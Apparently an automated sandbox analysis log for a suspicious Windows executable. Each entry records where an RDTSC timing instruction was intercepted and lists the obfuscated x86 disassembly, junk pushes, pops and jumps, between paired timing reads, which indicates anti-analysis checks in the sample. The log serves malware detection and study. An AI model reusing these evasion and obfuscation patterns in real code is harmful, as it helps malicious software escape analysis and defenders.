Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 343C98 second address: 343CDB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 pushad 0x00000009 jmp 00007F3F0C7D623Bh 0x0000000e sub dword ptr [ebp+122D1CFAh], eax 0x00000014 popad 0x00000015 push 00000000h 0x00000017 pushad 0x00000018 pushad 0x00000019 jmp 00007F3F0C7D623Bh 0x0000001e stc 0x0000001f popad 0x00000020 movzx esi, cx 0x00000023 popad 0x00000024 push 71B49FB8h 0x00000029 jnl 00007F3F0C7D6244h 0x0000002f push eax 0x00000030 push edx 0x00000031 jo 00007F3F0C7D6236h 0x00000037 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 343EA8 second address: 343EFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0D2D4AC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007F3F0D2D4ABAh 0x00000011 jmp 00007F3F0D2D4AC8h 0x00000016 popad 0x00000017 push ecx 0x00000018 jp 00007F3F0D2D4AB6h 0x0000001e pop ecx 0x0000001f popad 0x00000020 mov eax, dword ptr [esp+04h] 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 343EFC second address: 343F00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 343F00 second address: 343F04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 343F04 second address: 343F25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3F0C7D6249h 0x0000000d rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 343F25 second address: 343F88 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F3F0D2D4AC4h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 jmp 00007F3F0D2D4AC5h 0x00000017 pop eax 0x00000018 sbb esi, 7FD61B89h 0x0000001e push 00000003h 0x00000020 mov edi, ebx 0x00000022 sub dword ptr [ebp+122D17CDh], edi 0x00000028 push 00000000h 0x0000002a mov esi, dword ptr [ebp+122D2A1Bh] 0x00000030 push 00000003h 0x00000032 push edx 0x00000033 mov cx, bx 0x00000036 pop edi 0x00000037 call 00007F3F0D2D4AB9h 0x0000003c pushad 0x0000003d push ebx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 343F88 second address: 343F91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 343F91 second address: 343F9D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 343F9D second address: 343FA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 343FA3 second address: 343FE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F3F0D2D4AB8h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007F3F0D2D4ABEh 0x00000017 mov eax, dword ptr [eax] 0x00000019 jo 00007F3F0D2D4AC2h 0x0000001f jno 00007F3F0D2D4ABCh 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 343FE1 second address: 343FF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0C7D6242h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 344105 second address: 34410E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 34410E second address: 34413F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ecx 0x00000009 jmp 00007F3F0C7D6240h 0x0000000e pop ecx 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F3F0C7D623Fh 0x0000001c rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 34413F second address: 344143 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 344143 second address: 344149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 344149 second address: 344172 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0D2D4AC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jns 00007F3F0D2D4AB6h 0x00000014 jo 00007F3F0D2D4AB6h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 344172 second address: 3441D6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jne 00007F3F0C7D6243h 0x00000012 pop eax 0x00000013 mov dword ptr [ebp+122D1CACh], edi 0x00000019 push 00000003h 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007F3F0C7D6238h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 00000016h 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 push 00000000h 0x00000037 movsx ecx, ax 0x0000003a push 00000003h 0x0000003c mov edi, 77B1E119h 0x00000041 push 9B7CAE01h 0x00000046 pushad 0x00000047 push edx 0x00000048 push ebx 0x00000049 pop ebx 0x0000004a pop edx 0x0000004b push eax 0x0000004c push edx 0x0000004d jno 00007F3F0C7D6236h 0x00000053 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 3441D6 second address: 34421C instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3F0D2D4AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xor dword ptr [esp], 5B7CAE01h 0x00000012 movsx edi, cx 0x00000015 jmp 00007F3F0D2D4AC1h 0x0000001a lea ebx, dword ptr [ebp+12458B61h] 0x00000020 xor edi, 2EC7EC83h 0x00000026 push eax 0x00000027 push esi 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F3F0D2D4AC0h 0x0000002f rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 3653FF second address: 365409 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3F0C7D6236h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 365409 second address: 365430 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0D2D4AC2h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3F0D2D4ABBh 0x0000000e jnl 00007F3F0D2D4AB6h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 365430 second address: 365472 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0C7D6242h 0x00000007 jmp 00007F3F0C7D6243h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F3F0C7D623Dh 0x00000017 push edi 0x00000018 jo 00007F3F0C7D6236h 0x0000001e pop edi 0x0000001f rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 330BC6 second address: 330BD6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 jng 00007F3F0D2D4AB6h 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 330BD6 second address: 330BE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F3F0C7D6236h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 3632FF second address: 36330D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F0D2D4ABAh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 363490 second address: 3634AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jno 00007F3F0C7D6236h 0x00000010 popad 0x00000011 jg 00007F3F0C7D623Eh 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 3635EE second address: 363601 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0D2D4ABFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 3639E3 second address: 3639E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 363B5A second address: 363B5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 363B5E second address: 363B6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jnp 00007F3F0C7D6236h 0x0000000c rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 363B6A second address: 363B6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 363CC4 second address: 363CF4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F3F0C7D623Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F3F0C7D6243h 0x00000010 pushad 0x00000011 jo 00007F3F0C7D6236h 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 363E3D second address: 363E41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 363FC5 second address: 363FC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 36423F second address: 364256 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 je 00007F3F0D2D4AB6h 0x0000000c popad 0x0000000d jnl 00007F3F0D2D4ABEh 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 328902 second address: 32891A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 jns 00007F3F0C7D623Ch 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 32891A second address: 328920 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 328920 second address: 32892B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 32892B second address: 32892F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 364D88 second address: 364D92 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3F0C7D623Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 364D92 second address: 364DBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push esi 0x0000000a jmp 00007F3F0D2D4AC9h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pop esi 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 364DBB second address: 364DC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F3F0C7D6236h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 36837E second address: 3683B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F3F0D2D4ABDh 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F3F0D2D4AC8h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 368660 second address: 36867F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a jmp 00007F3F0C7D6242h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 332626 second address: 33262C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 370F17 second address: 370F26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F3F0C7D6236h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 37107A second address: 371080 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 371080 second address: 37108B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F3F0C7D6236h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 37108B second address: 371090 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 371090 second address: 371096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 371096 second address: 37109C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 37109C second address: 3710C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jng 00007F3F0C7D6236h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jc 00007F3F0C7D6250h 0x00000017 jmp 00007F3F0C7D623Ch 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 3710C2 second address: 3710C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 37120F second address: 371215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 371876 second address: 37187A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 37187A second address: 37189E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jp 00007F3F0C7D6238h 0x0000000e push eax 0x0000000f pop eax 0x00000010 pushad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 ja 00007F3F0C7D6236h 0x00000019 popad 0x0000001a js 00007F3F0C7D623Eh 0x00000020 push esi 0x00000021 pop esi 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 373868 second address: 373877 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 373877 second address: 373892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3F0C7D6244h 0x0000000c rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 373EE1 second address: 373F03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0D2D4AC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jbe 00007F3F0D2D4AC4h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 373F03 second address: 373F07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 373FD4 second address: 373FD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 373FD9 second address: 373FDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 373FDF second address: 373FEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 374760 second address: 374766 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 3748F0 second address: 3748F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 3748F6 second address: 3748FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 374989 second address: 37498D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 3749FE second address: 374A49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007F3F0C7D6247h 0x00000010 xchg eax, ebx 0x00000011 jne 00007F3F0C7D624Ah 0x00000017 push eax 0x00000018 pushad 0x00000019 push ecx 0x0000001a js 00007F3F0C7D6236h 0x00000020 pop ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 374A49 second address: 374A4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 374F10 second address: 374F2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0C7D6248h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 374F2C second address: 374F85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3F0D2D4ABDh 0x00000008 jc 00007F3F0D2D4AB6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 mov di, si 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007F3F0D2D4AB8h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 00000014h 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 jmp 00007F3F0D2D4ABEh 0x00000038 push 00000000h 0x0000003a mov dword ptr [ebp+122D1E30h], edx 0x00000040 xchg eax, ebx 0x00000041 push esi 0x00000042 push eax 0x00000043 push edx 0x00000044 push edi 0x00000045 pop edi 0x00000046 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 374F85 second address: 374F89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 375982 second address: 3759F7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F3F0D2D4ABCh 0x0000000c jno 00007F3F0D2D4AB6h 0x00000012 popad 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007F3F0D2D4AB8h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e cld 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push edi 0x00000034 call 00007F3F0D2D4AB8h 0x00000039 pop edi 0x0000003a mov dword ptr [esp+04h], edi 0x0000003e add dword ptr [esp+04h], 00000014h 0x00000046 inc edi 0x00000047 push edi 0x00000048 ret 0x00000049 pop edi 0x0000004a ret 0x0000004b jl 00007F3F0D2D4AB9h 0x00000051 movsx edi, ax 0x00000054 push 00000000h 0x00000056 mov di, 4EAEh 0x0000005a push eax 0x0000005b jnp 00007F3F0D2D4AC4h 0x00000061 pushad 0x00000062 jnc 00007F3F0D2D4AB6h 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 375811 second address: 375815 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 377556 second address: 3775B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007F3F0D2D4AB8h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 cld 0x00000024 push 00000000h 0x00000026 mov dword ptr [ebp+12453ABCh], ebx 0x0000002c push 00000000h 0x0000002e pushad 0x0000002f jmp 00007F3F0D2D4ABFh 0x00000034 call 00007F3F0D2D4ABDh 0x00000039 mov ebx, dword ptr [ebp+122DB5D2h] 0x0000003f pop eax 0x00000040 popad 0x00000041 xchg eax, ebx 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 pushad 0x00000046 popad 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 3775B8 second address: 3775BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
